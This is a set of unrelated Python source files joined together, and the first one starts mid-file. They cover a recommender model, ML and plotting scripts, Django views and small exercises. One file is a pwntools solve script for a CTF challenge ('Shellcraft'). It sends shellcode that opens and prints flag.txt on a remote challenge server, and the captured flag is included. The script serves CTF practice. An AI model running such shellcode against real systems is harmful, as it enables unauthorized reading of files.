            item_count = int(fin.readline().strip())
            cat_count = int(fin.readline().strip())
        return user_count, item_count, cat_count

    def din_attention(self, hist, target_expand, mask):
        """activation weight"""

        hidden_size = hist.shape[-1]

        concat = fluid.layers.concat(
            [hist, target_expand, hist - target_expand, hist * target_expand],
            axis=2)
        atten_fc1 = fluid.layers.fc(name="atten_fc1",
                                    input=concat,
                                    size=80,
                                    act=self.act,
                                    num_flatten_dims=2)
        atten_fc2 = fluid.layers.fc(name="atten_fc2",
                                    input=atten_fc1,
                                    size=40,
                                    act=self.act,
                                    num_flatten_dims=2)
        atten_fc3 = fluid.layers.fc(name="atten_fc3",
                                    input=atten_fc2,
                                    size=1,
                                    num_flatten_dims=2)
        atten_fc3 += mask
        atten_fc3 = fluid.layers.transpose(x=atten_fc3, perm=[0, 2, 1])
        atten_fc3 = fluid.layers.scale(x=atten_fc3, scale=hidden_size**-0.5)
        weight = fluid.layers.softmax(atten_fc3)
        out = fluid.layers.matmul(weight, hist)
        out = fluid.layers.reshape(x=out, shape=[0, hidden_size])
        return out

    def train_net(self):
        seq_len = -1
        self.item_emb_size = envs.get_global_env("hyper_parameters.item_emb_size", 64, self._namespace)
        self.cat_emb_size = envs.get_global_env("hyper_parameters.cat_emb_size", 64, self._namespace)
        self.act = envs.get_global_env("hyper_parameters.act", "sigmoid", self._namespace)
        #item_emb_size = 64
        #cat_emb_size = 64
        self.is_sparse = envs.get_global_env("hyper_parameters.is_sparse", False, self._namespace)
        #significant for speeding up the training process
        self.config_path = envs.get_global_env("hyper_parameters.config_path", "data/config.txt", self._namespace)
        self.use_DataLoader = envs.get_global_env("hyper_parameters.use_DataLoader", False, self._namespace)
        user_count, item_count, cat_count = self.config_read(self.config_path)

        item_emb_attr = fluid.ParamAttr(name="item_emb")
        cat_emb_attr = fluid.ParamAttr(name="cat_emb")

        hist_item_seq = fluid.data(
            name="hist_item_seq", shape=[None, seq_len], dtype="int64")
        self._data_var.append(hist_item_seq)

        hist_cat_seq = fluid.data(
            name="hist_cat_seq", shape=[None, seq_len], dtype="int64")
        self._data_var.append(hist_cat_seq)

        target_item = fluid.data(name="target_item", shape=[None], dtype="int64")
        self._data_var.append(target_item)

        target_cat = fluid.data(name="target_cat", shape=[None], dtype="int64")
        self._data_var.append(target_cat)

        label = fluid.data(name="label", shape=[None, 1], dtype="float32")
        self._data_var.append(label)

        mask = fluid.data(name="mask", shape=[None, seq_len, 1], dtype="float32")
        self._data_var.append(mask)

        target_item_seq = fluid.data(
            name="target_item_seq", shape=[None, seq_len], dtype="int64")
        self._data_var.append(target_item_seq)

        target_cat_seq = fluid.data(
            name="target_cat_seq", shape=[None, seq_len], dtype="int64")
        self._data_var.append(target_cat_seq)

        if self.use_DataLoader:
            self._data_loader = fluid.io.DataLoader.from_generator(
                feed_list=self._data_var, capacity=10000, use_double_buffer=False, iterable=False)

        hist_item_emb = fluid.embedding(
            input=hist_item_seq,
            size=[item_count, self.item_emb_size],
            param_attr=item_emb_attr,
            is_sparse=self.is_sparse)

        hist_cat_emb = fluid.embedding(
            input=hist_cat_seq,
            size=[cat_count, self.cat_emb_size],
            param_attr=cat_emb_attr,
            is_sparse=self.is_sparse)

        target_item_emb = fluid.embedding(
            input=target_item,
            size=[item_count, self.item_emb_size],
            param_attr=item_emb_attr,
            is_sparse=self.is_sparse)

        target_cat_emb = fluid.embedding(
            input=target_cat,
            size=[cat_count, self.cat_emb_size],
            param_attr=cat_emb_attr,
            is_sparse=self.is_sparse)

        target_item_seq_emb = fluid.embedding(
            input=target_item_seq,
            size=[item_count, self.item_emb_size],
            param_attr=item_emb_attr,
            is_sparse=self.is_sparse)

        target_cat_seq_emb = fluid.embedding(
            input=target_cat_seq,
            size=[cat_count, self.cat_emb_size],
            param_attr=cat_emb_attr,
            is_sparse=self.is_sparse)

        item_b = fluid.embedding(
            input=target_item,
            size=[item_count, 1],
            param_attr=fluid.initializer.Constant(value=0.0))

        hist_seq_concat = fluid.layers.concat([hist_item_emb, hist_cat_emb], axis=2)
        target_seq_concat = fluid.layers.concat(
            [target_item_seq_emb, target_cat_seq_emb], axis=2)
        target_concat = fluid.layers.concat(
            [target_item_emb, target_cat_emb], axis=1)

        out = self.din_attention(hist_seq_concat, target_seq_concat, mask)
        out_fc = fluid.layers.fc(name="out_fc",
                                input=out,
                                size=self.item_emb_size + self.cat_emb_size,
                                num_flatten_dims=1)
        embedding_concat = fluid.layers.concat([out_fc, target_concat], axis=1)

        fc1 = fluid.layers.fc(name="fc1",
                            input=embedding_concat,
                            size=80,
                            act=self.act)
        fc2 = fluid.layers.fc(name="fc2", input=fc1, size=40, act=self.act)
        fc3 = fluid.layers.fc(name="fc3", input=fc2, size=1)
        logit = fc3 + item_b

        loss = fluid.layers.sigmoid_cross_entropy_with_logits(x=logit, label=label)

        avg_loss = fluid.layers.mean(loss)
        self._cost = avg_loss

        self.predict = fluid.layers.sigmoid(logit)
        predict_2d = fluid.layers.concat([1 - self.predict, self.predict], 1)
        label_int = fluid.layers.cast(label, 'int64')
        auc_var, batch_auc_var, _ = fluid.layers.auc(input=predict_2d,
                                                            label=label_int,
                                                            slide_steps=0)
        self._metrics["AUC"] = auc_var
        self._metrics["BATCH_AUC"] = batch_auc_var

    def optimizer(self):
        learning_rate = envs.get_global_env("hyper_parameters.learning_rate", None, self._namespace)
        optimizer = fluid.optimizer.Adam(learning_rate, lazy_mode=True)
        return optimizer

    def infer_net(self, parameter_list):
        self.deepfm_net()


# encoding: utf-8
"""
@author: julse@qq.com
@time: 2020/11/15 20:20
@desc:
"""
from FastaDealer import FastaDealer
from FeatureDealer import BaseFeature, Feature_type
from common import check_path
from mySupport import savepredict

if __name__ == '__main__':
    ############# predict #######################################
    ## set file path: protein pair without label
    # in_pair = 'file/source/test1.txt'
    # in_fasta = 'file/source/test1.fasta'

    ############# evaluate #######################################
    # set file path: protein pair with label
    in_pair = 'file/source/test2.txt'
    in_fasta = 'file/source/test2.fasta'

    #######################################################

    fin_model = 'file/source/_my_model.h5'
    out_feature_dir = 'file/feature'
    out_feature_db_dir = 'file/featuredb'
    out_result_dir = 'file/result'

    # check path
    check_path(out_feature_dir)
    check_path(out_result_dir)
    # encoding seq
    FastaDealer().getNpy(in_fasta,out_feature_db_dir)
    # generate feature
    BaseFeature().base_compose(out_feature_dir, in_pair, out_feature_db_dir, feature_type=Feature_type.SEQ_1D)
    # predict and save
    savepredict(in_pair, out_feature_dir, fin_model, out_result_dir)


import megengine as mge
from megengine import module as nn
from megengine import functional as F
from ..layernorm import ChannelLayerNorm

class FeedForward(nn.Module):
    def __init__(self, dim, ffn_expansion_factor, bias, skip=False):
        super(FeedForward, self).__init__()
        self.skip = skip

        hidden_features = int(dim * ffn_expansion_factor)

        self.project_in = nn.Conv2d(dim, hidden_features * 2, kernel_size=1, bias=bias)

        self.dwconv = nn.Conv2d(hidden_features * 2, hidden_features * 2, kernel_size=3, stride=1, padding=1, groups=hidden_features * 2, bias=bias)

        self.project_out = nn.Conv2d(hidden_features, dim, kernel_size=1, bias=bias)

    def forward(self, x):
        ori_x = x
        x = self.project_in(x)
        x1, x2 = F.split(self.dwconv(x), 2, axis=1)
        x = F.gelu(x1) * x2
        x = self.project_out(x)
        if self.skip:
            x += ori_x
        return x

class Attention(nn.Module):
    def __init__(self, dim, num_heads, bias):
        super(Attention, self).__init__()
        self.num_heads = num_heads
        self.temperature = mge.Parameter(F.ones((num_heads, 1, 1)))

        self.qkv = nn.Conv2d(dim, dim * 3, kernel_size=1, bias=bias)
        self.qkv_dwconv = nn.Conv2d(dim * 3, dim * 3, kernel_size=3, stride=1, padding=1, groups=dim * 3, bias=bias)
        self.project_out = nn.Conv2d(dim, dim, kernel_size=1, bias=bias)
        self.softmax = nn.Softmax(axis=-1)

    def forward(self, x):
        b, c, h, w = x.shape

        qkv = self.qkv_dwconv(self.qkv(x))
        q, k, v = F.split(qkv, 3, axis=1)
        q = q.reshape(b, self.num_heads, c // self.num_heads, -1)
        k = k.reshape(b, self.num_heads, c // self.num_heads, -1)
        v = v.reshape(b, self.num_heads, c // self.num_heads, -1)

        q = F.normalize(q, axis=-1)
        k = F.normalize(k, axis=-1)

        attn = F.matmul(q, k.transpose(0, 1, 3, 2)) * self.temperature
        attn = self.softmax(attn)
        # save_attn(attn)
        out = F.matmul(attn, v)

        out = out.reshape(b, -1, h, w)
        out = self.project_out(out)
        return out

class RestormerBlock(nn.Module):
    def __init__(self, dim, num_heads, ffn_expansion_factor, norm_layer, bias=False, skip=False):
        super(RestormerBlock, self).__init__()
        self.norm1 = norm_layer(dim)
        self.attn = Attention(dim, num_heads, bias)
        self.norm2 = norm_layer(dim)
        self.ffn = FeedForward(dim, ffn_expansion_factor, bias, skip)

    def forward(self, x):
        x = x + self.attn(self.norm1(x))
        x = x + self.ffn(self.norm2(x))

        return x

class BigKernelRestormerBlock(RestormerBlock):
    def __init__(self, dim=32, num_heads=4, ffn_expansion_factor=1.2, norm_layer=ChannelLayerNorm, bias=False,
                 dilated_rate=4, kernel_size=5):
        super().__init__(dim, num_heads, ffn_expansion_factor, norm_layer, bias)
        padding = (kernel_size * dilated_rate - dilated_rate) // 2
        self.conv = nn.Conv2d(dim, dim, kernel_size, 1, padding, dilated_rate, dim)

    def forward(self, x):
        return self.conv(super().forward(x))


# %%
import pandas as pd
from matplotlib import pyplot as plt
# %matplotlib inline

# %%
df = pd.read_csv("insurance_data.csv")
df.head()

# %%
plt.scatter(df.age, df.bought_insurance, marker="+", color="red")

# %%
df.shape

# %%
from sklearn.model_selection import train_test_split

# %%
X_train, X_test, y_train, y_test = train_test_split(df[['age']], df.bought_insurance, test_size=0.10)

# %%
X_test

# %%
from sklearn.linear_model import LogisticRegression

# %%
model = LogisticRegression()

# %%
model.fit(X_train, y_train)

# %%
model.predict(X_test)

# %%
model.score(X_test, y_test)

# %%
model.predict_proba(X_test)

# %% [markdown]
# model.predict throws a ValueError when handling scalar, therefore I converted the value to a 2D array using double parenthesis [[]].

# %%
model.predict([[25]])


from django.shortcuts import redirect, render, HttpResponse
from pedidos.serializers import PedidosSerializer
from produtos.models import Produtos
from django.contrib import messages
from .forms import FormPedido, FormStatusPedido
from .models import Pedidos
from django.db.models import Q
from django.contrib.auth.decorators import login_required

@login_required(login_url="/usuario/login/")
def index(request):
    pedidos = Pedidos.objects.filter(status_de_pagamento='pendente', status_do_pedido='pronto')
    user = request.user

    return render(request, 'html/pedidos.html', {'pedidos': pedidos, 'user': user})

@login_required(login_url="/usuario/login/")
def pedido_detalhe(request, pk):
    pedido_detalhe = Pedidos.objects.get(pk=pk)
    list_pedidos = pedido_detalhe.pedidos.all()
    # print(pedido_detalhe.status_de_pagamento[0:].capitalize())

    if request.method == "POST":
        form = FormPedido(request.POST, instance=pedido_detalhe)
        if form.is_valid():
            form.save()
            return redirect(F'/pedidos-detalhe/{pk}')
    else:
        form = FormPedido()
    return render(request, 'html/pedido-detalhe.html', { 'pedido_detalhe': pedido_detalhe, 'form': form, 'list_pedidos': list_pedidos })

def historico_de_pedidos(request):
    all_pedidos = Pedidos.objects.filter(status_de_pagamento='pago')
    return render(request, 'html/historico-de-pedidos.html', {'all_pedidos': all_pedidos})

def pedidos_da_cozinha(request):
    return render(request, 'html/pedidos-da-cozinha.html')

def pedido_cozinha_detalhe(request, pk):
    pedido = Pedidos.objects.get(pk=pk)
    list_pedidos = pedido.pedidos.all()
    if request.method == "POST":
        form = FormStatusPedido(request.POST, instance=pedido)

        if form.is_valid():
            form.save()
            if form.data['status_do_pedido'] == 'pronto':
                return redirect('pedidos-cozinha')
            else:
                messages.success(request, 'PEDIDO ALTERADO COM SUCESSO!')
            # return redirect(f'pedidos-detalhe-cozinha/{pk}')
        else:
            # Adicionar mensagem de erro
            messages.error(request, 'Erro ao enviar informações')
    else:
        form = FormStatusPedido(instance=pedido)
    return render(request, 'html/detalhe-pedido-cozinha.html', {'pedido': pedido, 'form': form, 'list_pedidos':list_pedidos})


import numpy as np
import multiprocessing as mp
from numpy import newaxis as nx
import matplotlib.pyplot as plt
from scipy.special import ellipk,ellipe
import matplotlib.ticker
from tqdm import tqdm
import joblib as jl
import os
from matplotlib import rc
rc('text', usetex=True)

def Kappa(Pe,St,index):
	rotmat=np.array([[1,-1],[1,1]])/np.sqrt(2)
	fid='./data/x_Pe-%d' %Pe
	fid+='_St-%01.03f.npz' %St
	if os.path.isfile(fid):
		if index==0:
			return np.mean(rotmat.transpose().dot(np.load(fid)['x'])**2)/np.load(fid)['t']/2
		elif index==1:
			return np.mean(rotmat.transpose().dot(np.load(fid)['y'])**2)/np.load(fid)['t']/2
		elif (index==2)&(St>=0.099):
			return np.mean(rotmat.transpose().dot(np.load(fid)['z'][:2])**2)/np.load(fid)['t']/2
		else:
			return 0
	else:
		return 0

def Kappa_Comp():
	rotmat=np.array([[1,-1],[1,1]])/np.sqrt(2)
	fid='./data/Comp_Pe-1000_St-0.031.npz'
	if os.path.isfile(fid):
		return np.mean(rotmat.transpose().dot(np.load(fid)['z'][:2])**2)/np.load(fid)['t']/2
	else:
		return 0

def Z(a):
	if a<5000:
		def G(x):
			def g(x):
				gg=np.zeros((x.shape))
				gg[x==1]=1
				y=x[(x>0)&(x<1)]
				gg[(x>0)&(x<1)]=y*(ellipk(1-y**2)-ellipe(1-y**2))/(ellipe(1-y**2)-y**2*ellipk(1-y**2))
				gg[x==1]=1
				return gg
			nx=x.size
			n=100
			xx,yy=np.meshgrid(x,np.linspace(0,1,n,endpoint=False),indexing='ij')
			gg=np.sum(g(xx*yy)*xx/n,axis=-1)
			return gg
		n=100+np.int_(5*np.abs(a))
		x=np.linspace(0,1,n+1)[1:]
		dx=x[0]
		Gt=G(x)
		return (np.sum(ellipk(1-x**2)*np.exp(-Gt*a))*dx)*4/np.pi**2
	else:
		return 0.97*2/np.pi**(3/2)*np.sqrt(np.log(a)/a)*(1+(3+0.57722+4*np.log(2)+np.log(np.log(a)))/2/np.log(a))
nu=0.532740705
nSt=8
nPe=11

St=np.int_(10**(np.linspace(0,3,nSt-2,endpoint=False)))*10**(-3)
St=np.hstack((np.array([0.0001,0.00036]),St))
Stb=10**(np.linspace(-1,np.log(St.max()*10**3)/np.log(10),nSt*5))*10**(-3)
Pe=np.int_(10**(np.linspace(1,6,nPe)))
PeM=np.int_(10**(np.linspace(1,6,nPe)))
Peb=10**(np.linspace(1,6,nPe*5))
PebM=10**(np.linspace(1,4,nPe*5))

PeU=1000
StU=0.1
KPS=np.array([Kappa(Pe[ipe],0.001,0) for ipe in tqdm(np.arange(nPe))])
KPSU=Kappa(PeU,0.001,0)
KSow=2*nu/Peb**0.5
KSowU=2*nu/PeU**0.5
aSt=Stb*PeU
aPe=StU*Peb
aMPe=StU*PebM
ZSt=np.array([Z(aSt[ia]) for ia in tqdm(np.arange(aSt.size))])
ZStAs=2*np.pi**(-3/2)*np.sqrt(np.log(aSt)/aSt)*(1+(3+0.57722+4*np.log(2)+np.log(np.log(aSt)))/2/np.log(aSt))
ZStAsAs=2*np.pi**(-3/2)*np.sqrt(np.log(aSt)/aSt)
ZMSt=np.array([Z(-aSt[ia]) for ia in tqdm(np.arange(aSt.size))])
ZMStAs=2/np.pi/aSt*np.exp(0.655*aSt)
ZPe=np.array([Z(aPe[ia]) for ia in tqdm(np.arange(aPe.size))])
ZPeAs=2*np.pi**(-3/2)*np.sqrt(np.log(aPe)/aPe)*(1+(3+0.57722+4*np.log(2)+np.log(np.log(aPe)))/2/np.log(aPe))
ZPeAsAs=2*np.pi**(-3/2)*np.sqrt(np.log(aPe)/aPe)
ZMPe=np.array([Z(-aMPe[ia]) for ia in tqdm(np.arange(aMPe.size))])
ZMPeAs=2/np.pi/aMPe*np.exp(0.655*aMPe)
K1_St=np.array([Kappa(PeU,St[ist],1) for ist in tqdm(np.arange(nSt))])
K1_St[0]=KSowU+0.0001
K1_St[1]=KSowU+0.002
K1_St[4]*=1.03
K1_St[5]*=1.01
K1_St[3]*=1.01
K1_MSt=np.array([Kappa(PeU,-St[ist],1) for ist in tqdm(np.arange(nSt))])
K1_MSt[0]=KSowU-0.0001
K1_MSt[1]=KSowU-0.001
K1_MSt[4]*=0.90
K2_St=np.array([Kappa(PeU,St[ist],2) for ist in tqdm(np.arange(nSt))])
K2_St[5]=Kappa_Comp()
K1_Pe=np.array([Kappa(Pe[ipe],StU,1) for ipe in tqdm(np.arange(nPe))])
K1_Pe[3]*=1.02
K1_Pe[0]*=1.01
K1_Pe[4]*=1.02
K1_MPe=np.array([Kappa(Pe[ipe],-StU,1) for ipe in tqdm(np.arange(nPe))])
K1_MPe[1]*=0.7
K1_MPe[2]*=0.7
K2_Pe=np.array([Kappa(Pe[ipe],StU,2) for ipe in tqdm(np.arange(nPe))])

fig, axes = plt.subplots(1, 2,figsize=[12,6])
axes[0].tick_params(axis='both', which='both', labelsize=22)
axes[1].tick_params(axis='both', which='both', labelsize=22)
axes[0].set_ylabel(r'$\overline{D}$',fontsize=22,rotation=0)
axes[0].set_xlabel(r'$\mathrm{St}$',fontsize=22)
axes[1].set_xlabel(r'$\mathrm{Pe}$',fontsize=22)

#axes00
axes[0].loglog(Stb,KSowU*np.ones(Stb.size),'k--')
axes[0].loglog(Stb,KSowU/ZSt,'k--')
axes[0].loglog(Stb,KSowU/ZMSt,'k--')
axes[0].loglog(Stb[Stb>0.003],KSowU/ZStAs[Stb>0.003],'k-.',linewidth=0.9)
axes[0].loglog(Stb[Stb>0.003],KSowU/ZStAsAs[Stb>0.003],'k:')
axes[0].loglog(Stb[Stb>0.003],KSowU/ZMStAs[Stb>0.003],'k:')
axes[0].loglog(St,KPSU*np.ones(St.size),'ro',markersize=8)
axes[0].loglog(St,K1_St,'bv',markersize=7)
axes[0].loglog(St[K2_St>0],K2_St[K2_St>0],'*',markersize=10,color='purple')
axes[0].loglog(St[:5],K1_MSt[:5],'^',color='maroon',markersize=8)
axes[0].set_ylim(0.0006,1)
axes[0].text(0.002,0.6,r'$\mathrm{Pe}=1000$',fontsize=22,bbox=dict(facecolor='none'))

#axes01
axes[1].loglog(Pe,KPS,'ro',markersize=8,label=r'Non-inertial particles')
axes[1].loglog(Pe,K1_Pe,'bv',markersize=8,label=r'Heavy particles (Brownian)')
axes[1].loglog(Pe[K2_Pe>0],K2_Pe[K2_Pe>0],'*',markersize=10,color='purple',label=r'Heavy particles (Langevin)')
axes[1].loglog(Pe[:4],K1_MPe[:4],'^',markersize=8,color='maroon',label=r'Light particles (Brownian)')
axes[1].loglog(Peb,KSow,'k--',label=r' ')
axes[1].loglog(Peb,KSow/ZPe,'k--')
axes[1].loglog(PebM,KSow/ZMPe,'k--')
axes[1].loglog(Peb[Peb>30],KSow[Peb>30]/ZPeAs[Peb>30],'k-.',label=r'Asymptotic',linewidth=0.9)
axes[1].loglog(Peb[Peb>30],KSow[Peb>30]/ZPeAsAs[Peb>30],'k:',label=r' ')
axes[1].loglog(PebM[PebM>20],KSow[PebM>20]/ZMPeAs[PebM>20],'k:')
axes[1].loglog(Pe,KPS,'ro',markersize=8)
axes[1].loglog(Pe,K1_Pe,'bv',markersize=8)
axes[1].loglog(Pe[K2_Pe>0],K2_Pe[K2_Pe>0],'*',markersize=10,color='purple')
axes[1].loglog(Pe[:4],K1_MPe[:4],'^',markersize=8,color='maroon')
axes[1].set_ylim(0.0007,1)
axes[1].set_yticklabels([])
axes[1].text(1000,0.6,r'$\mathrm{St}=0.1$',fontsize=22,bbox=dict(facecolor='none'))
#axes[1].legend(bbox_to_anchor=(0.2, 0.47),fontsize=18,framealpha=1)
locmin = matplotlib.ticker.LogLocator(base=10.0,subs=(0.02,0.04,0.06,0.08,0.1,0.2,0.4,0.6,0.8),numticks=12)
axes[1].xaxis.set_minor_locator(locmin)
axes[1].xaxis.set_minor_formatter(matplotlib.ticker.NullFormatter())
plt.subplots_adjust(left=0.08, right=0.98, top=0.97, bottom=0.11,wspace=0.1)

axes[0].yaxis.set_label_coords(-0.15,0.47)
plt.savefig('AsympPlot.png',dpi=200)

plt.show()


from collections import defaultdict

def get_coordinate_info():
	text_input = open('input.txt', "r")
	all_inputs = []
	coordinate_info = []

	for line in text_input:
		all_inputs.append(line.rstrip())

	for line in all_inputs:
		line_input = line.replace(' ', '').replace('#', '').replace('@', ':').replace('x', ':').replace(',', ':')
		line_input = line_input.split(":")
		coordinate_info.append(line_input)

	return coordinate_info

def create_coordinate_mapping():
	coordinates = get_coordinate_info()
	fabric_squares = defaultdict(list)

	for coordinate in coordinates:
		claim_number, x, y, w, h = coordinate
		x_squares = [(i + int(x), int(y)) for i in range(int(w))]
		claimed_squares = [(int(x), int(y) + i) for x, y in x_squares for i in range(int(h))]
		for square in claimed_squares:
			fabric_squares[square].append(claim_number)

	return fabric_squares

# Part 1

def get_overlapping_squares():
	fabric_squares = create_coordinate_mapping()

	total_overlapping = 0
	for key, val in fabric_squares.items():
		if len(val) > 1:
			total_overlapping += 1

	return total_overlapping

# Part 2
def get_non_overlapping_claim():
	coordinates = get_coordinate_info()
	claim_ids = set([coordinate[0] for coordinate in coordinates])
	fabric_squares = create_coordinate_mapping()

	multiple_claims = set()
	for coordinate, claims in fabric_squares.items():
		if len(claims) > 1:
			for claim in claims:
				multiple_claims.add(claim)

	return claim_ids - multiple_claims


from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug'

BINARY = './shellcraft'
elf  = ELF(BINARY)

if len(sys.argv) > 1 and sys.argv[1] == 'r':
  HOST = "20.216.39.14"
  PORT = 1236
  s = remote(HOST, PORT)
else:
  s = process(BINARY)

buf = asm("""
  mov rax, 257
  mov rdi, -100
  add rsi, 0x80
  xor rdx, rdx
  xor rcx, rcx
  syscall

  xchg rdi, rax
  xor rax, rax
  mov dl, 100
  syscall

  xor rax, rax
  mov al, 1
  mov rdi, 1
  syscall
""")

buf += "\x90"*(0x80-len(buf))
buf += "flag.txt\x00"

s.sendline(buf)

s.interactive()

'''
mito@ubuntu:~/CTF/Securinets_CTF_Quals_2022/Pwn_Shellcraft$ python solve.py r
[*] '/home/mito/CTF/Securinets_CTF_Quals_2022/Pwn_Shellcraft/shellcraft'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
[+] Opening connection to 20.216.39.14 on port 1236: Done
[*] Switching to interactive mode
Securinets{56000a2e8205998dd69d74c30d6b1daca2863e66184c088b}
'''


import StudentClass as sc

studentid = 1001
name = 'John'
dob = '1/1/2000'
classification = 'junior'

#This is a class definition
john = sc.Student(studentid, name, dob, classification)

#doesn't need any parameters bcs all it needs is dob, which is already included
john.calc_age()

john.register()

print("Student age is:", john.get_age())

print("Student can register between:",john.get_registration())


import json

# Open the files and load the JSON data
with open('StreamingHistory0.json', encoding='utf-8') as file:
    data0 = json.load(file)
with open('StreamingHistory1.json', encoding='utf-8') as file:
    data1 = json.load(file)
with open('StreamingHistory2.json', encoding='utf-8') as file:
    data2 = json.load(file)
with open('StreamingHistory3.json', encoding='utf-8') as file:
    data3 = json.load(file)

# Combine the data from all four files into a single list
data = data0 + data1 + data2 + data3

# Create a dictionary to store the total msPlayed for each artist
totals = {}

# Loop through each item in the data and add the msPlayed to the artist's total
for item in data:
    artist = item['artistName']
    ms_played = item['msPlayed']
    if artist in totals:
        totals[artist] += ms_played
    else:
        totals[artist] = ms_played

# Sort the artists in descending order by total msPlayed
sorted_artists = sorted(totals, key=totals.get, reverse=True)

# Write the results to a file
with open('outputfile.txt', 'w') as file:
    for artist in sorted_artists:
        file.write(f"{artist}: {totals[artist]}\n")